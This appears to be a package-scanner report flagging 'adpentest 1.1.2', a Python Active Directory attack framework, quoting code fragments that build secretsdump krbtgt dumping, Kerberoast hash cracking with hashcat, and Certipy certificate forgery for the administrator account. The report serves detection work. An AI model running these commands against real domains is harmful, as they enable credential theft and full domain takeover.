Hostile 100% python Download

adpentest 1.1.2

AD pentest framework, credential dumping

“Active Directory penetration testing framework with automatic Domain Controller detection”

Certipy requests certificate for alternate UPNHashcat Kerberos cracking mode

Evidence

Python DNS resolution API reference lines 1–31
1from __future__ import annotations
2
3import argparse
4import imaplib
5import ipaddress
6import json
7import os
8import platform
9import poplib
10import re
11import shutil
12import smtplib
13import socket
14import subprocess
15import sys
16import time
⋯4 lines
21from typing import Any
22
23import dns.resolver
24import dns.reversename
25from ldap3 import ALL, Connection, Server
26
27import sqlite3
28
29from pyasn1.codec.der import decoder, encoder
30from pyasn1.codec.native import decoder as native_decoder
31from pyasn1.type impor …
secretsdump domain-controller dump flag lines 1674–1687
1674:59… led."
1675 )
1676 result["remediation"] = (
1677 "Supply valid domain admin credentials and re-run with: "
1678 f"secretsdump.py <domain>/<admin_user>:<password>@{dc_ip} -just-dc-user krbtgt"
1679 )
1680 return result
⋯7 lines
Hashcat Kerberos cracking mode lines 2081–2086
2081:78… -dc-ip {dc_ip} -request -outputfile spns.txt"
2082 ),
2083 "next_step": "hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt",
2084 })
2085 conn.unbind()
2086 print(f"[VERBOSE] [auto_privesc] Kerberoast scan: {len([f for f in result['findings'] if f['technique' …
Certipy certificate request lines 2164–2170
2164:100… client auth → forge cert as any user including DA",
2165 "exploit_command": f"certipy req -u {username}@{domain} -hashes {hashes_str} -ca <CA-name> -template {tpl} -upn administrator@{domain}",
2166 "next_step": "certipy auth -pfx administrator.pfx -dc-ip {dc_ip}",
2167 })
2168 conn.unbind()
2169 except Exception as e:
2170 result["errors"].append(f"AD …
Certipy vulnerable AD CS discovery lines 7885–7894
7885:19…
7886
7887 if tool == "certipy_find":
7888 dc_target = dc_fqdn or host
7889 cmd = [executable, "find", "-target", dc_target, "-vulnerable"]
7890 if domain:
7891 cmd.extend(["-dc-ip", dc_ip or host])
7892 if nt_hash:
7893 cmd.extend(["-u", f"{_user}@{domain or host}", "-hashes", _hashes_arg])
7894 print(f"[VER …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.